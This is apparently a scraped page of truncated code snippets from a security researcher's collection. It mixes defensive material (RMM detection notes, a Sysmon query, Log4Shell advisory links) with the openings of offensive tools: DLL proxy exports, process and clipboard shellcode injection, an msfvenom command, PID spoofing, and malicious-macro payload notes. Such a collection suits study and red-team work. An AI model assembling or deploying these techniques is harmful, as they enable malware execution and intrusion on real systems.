bigbrobro

Detecting RMM

The most difficult challenge with RMM detection is contextual awareness around usage to determine if it is valid or malicious.

• if the software is not used in the envrionment
  • could it be legitimate by a random empoyee?
  • is it an attacker BYOL
  • even so, all occurrences could probably be considered suspicious
• if it is used in the environment
  • is every use of it legitimate? Probably not
• this also creates significant living off the land (LOL) opportunity

bigbrobro

#pragma comment(linker,"/export:D3D10CompileEffectFromMemory=d3d10_1_orig.D3D10CompileEffectFromMemory,@1")
#pragma comment(linker,"/export:D3D10CompileShader=d3d10_1_orig.D3D10CompileShader,@2")
#pragma comment(linker,"/export:D3D10CreateBlob=d3d10_1_orig.D3D10CreateBlob,@3")
#pragma comment(linker,"/export:D3D10CreateDevice1=d3d10_1_orig.D3D10CreateDevice1,@4")
#pragma comment(linker,"/export:D3D10CreateDeviceAndSwapChain1=d3d10_1_orig.D3D10CreateDeviceAndSwapChain1,@5")
#pragma comment(linker,"/export:D3D10CreateEffectFromMemory=d3d10_1_orig.D3D10CreateEffectFromMemory,@6")
#pragma comment(linker,"/export:D3D10CreateEffectPoolFromMemory=d3d10_1_orig.D3D10CreateEffectPoolFromMemory,@7")
#pragma comment(linker,"/export:D3D10CreateStateBlock=d3d10_1_orig.D3D10CreateStateBlock,@8")
#pragma comment(linker,"/export:D3D10DisassembleEffect=d3d10_1_orig.D3D10DisassembleEffect,@9")
#pragma comment(linker,"/export:D3D10DisassembleShader=d3d10_1_orig.D3D10DisassembleShader,@10")

bigbrobro

using System;
using System.Runtime.InteropServices;
using System.Text;

namespace SendMessageKernelCallback
{
    /*References:
     * 1. https://t0rchwo0d.github.io/windows/Windows-Process-Injection-Technique-KernelCallbackTable/
     * 2. https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/
     */

bigbrobro

Security Advisories / Bulletins / vendors Responses linked to Log4Shell (CVE-2021-44228)

Errors, typos, something to say ?

• If you want to add a link, comment or send it to me
• Feel free to report any mistake directly below in the comment or in DM on Twitter @SwitHak

Other great resources

• Royce Williams list is different, listed by vendors responses:
• https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/
• Very detailed list NCSC-NL

bigbrobro

// Using the clipboard as your code cave.
// Generate your shellcode with msfvenom or whatever
// Example: msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -f raw -o <outputfile.bin>
// Compile: C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe C:\Path\To\ClippyShellcodeInject.cs

using System;
using System.IO;
using System.Runtime.InteropServices;

namespace ClippySCInject

bigbrobro

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;


namespace DInvoke_PIDSpoof_DevNuget
{
    class Program
    {
        static void Main(string[] args)

bigbrobro

SELECT 
    a.computer_name,
    a.OriginalFileName,
    a.LogonId,
    b.ProcessId,
    c.TargetFilename
FROM processreimaging a
JOIN processreimaging b
    ON a.ProcessGuid = b.ProcessGuid
    AND b.channel = "Microsoft-Windows-Sysmon/Operational"

bigbrobro

This is a note for myself describing various Visual Basic macros construction strategies that could be used for remote code execution via malicious Document vector. Nothing new or fancy here, just a list of techniques, tools and scripts collected in one place for a quick glimpse of an eye before setting a payload.

All of the below examples had been generated for using as a remote address: 192.168.56.101.

List:

0. Page substiution macro for luring user to click Enable Content
1. The Unicorn Powershell based payload

bigbrobro

/// csc.exe injection.cs GadgetToJScript.exe –b –a injection.exe –w hta
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

namespace DinjectorWithQUserAPC
{

bigbrobro